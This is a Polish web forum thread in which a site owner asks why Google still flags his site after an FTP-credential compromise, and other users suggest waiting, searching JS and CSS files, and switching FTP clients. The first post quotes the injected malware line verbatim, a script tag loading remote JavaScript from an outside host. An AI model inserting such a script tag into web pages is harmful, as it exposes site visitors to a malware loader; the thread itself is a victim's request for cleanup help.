Witam,

Spotkałem się z bardzo dużym problemem. Google uznało moja stronę za niebezpieczną.

Skutki:

- strona traci pozycje w wyszukiwarce
- praktycznie nikt nie wchodzi na stronę bo dostaje ostrzeżenie, że strona jest niebezpieczna

czyli równie dobrze można powiedzieć, że to koniec portalu...

Przyczyny:

Jakiś czas temu (kilka dni), na moją stronę wkradł się złośliwy kod (prawdopodobnie przez Total Commandera, miałem zapamiętywanie hasła włączone) i dodał w indexie linijke kodu:

[PHP] pobierz, plaintext 
<!--piz...a--><script type=text/javascript src=http://mmm2011.ppcsoft.in/validate.js?ftpid=42759></script><!--/piz...a-->
[PHP] pobierz, plaintext 

Co zrobiłem:

Tak jak mi poradzono, kod usunołem, usunołem Total Commandera, zmieniłem hasło do FTP.

W narzędziach dla webmastera google zgłosiłem, że kod usunąłem a mimo wszytsko google ciągle uważa, że kod ten istnieje.




Mój kod index.php wygląda następująco:

http://paste.bradleygill.com/index.php?paste_id=376494

Tutaj nie mogłem wstawić bo za długi post....


Przeoczyłem gdzieś złośliwy kod? Jak to naprawić

Musisz odczekać, google nie indeksuje zaraz...

No tak ale wczesniejszy bład miał datę jeszcze z maja. Złosliwy kod usunąłem 1 czerwca 2012 a google wykryłoniby jeszcze jakiś kod 3 czerwca 2012.

No nie wiem, może rzeczywiście odczytuje jeszcze starą wersje strony.

Nie usunąłeś złośliwego kodu ze strony sprawdź pliki javascript, do wyszukiwania w wielu plikach można wykorzystać np TextFinderX.

Miałeś racje, pliki css i js też były zmodyfikowane.

Wszystko naprawiłem, zobaczymy kiedy google odblokuje stronę

przeważnie trzeba odczekać z jakiś miesiąc, aż google zacznie znowu indeksować dobrze stronę...

Ehh wszystko było poprawione, strona była czysta przez jakiś czas a dzisiaj znowu to samo, tym razem zmienili mi szablony błędów.

Usunąłem strego total commandera, nagrałem nowego. Korzystałem z niego bez zapamiętywania hasła FTP. A samo hasło również było zmienione po pierwszy "włamaniu".

Mimo wszystko dzisiaj znowu ktoś mi zmodyfikował kod.


Jak się zabezpieczyć takimi atakami?

w ogole czy korzystanie z total commandera do ftp nie jest z rozwiązaniem z poprzedniej epoki?
ja tam zawsze uzywałem filezilla i nie miałem takich sensacji

Zmienić system.
A jak to nie wchodzi w grę to klienta FTP, jakiegoś lepszego niż TC, przeskanuj dysk w poszukiwaniu syfu, bo może się okazać że masz coś jeszcze i po prostu każda zmiana hasła jest widoczna.

Wszędzie jak patrzyłem jakieś rankingi programó ftp to TC był najbardziej polecany, poza tym jestem do niego przyzwyczajony.\

A czym się równi filezilla, miałem przez chwile to ciężko mi się było w tym odnaleźć

Programów FTP jest bardzo dużo, był nawet niedawno wątek o tym. Wpisz w google "total commander alternatywa" jest kilkanaście pozycji inne lepsze, drugie gorsze, ale nie odbiegają od pierwowzoru.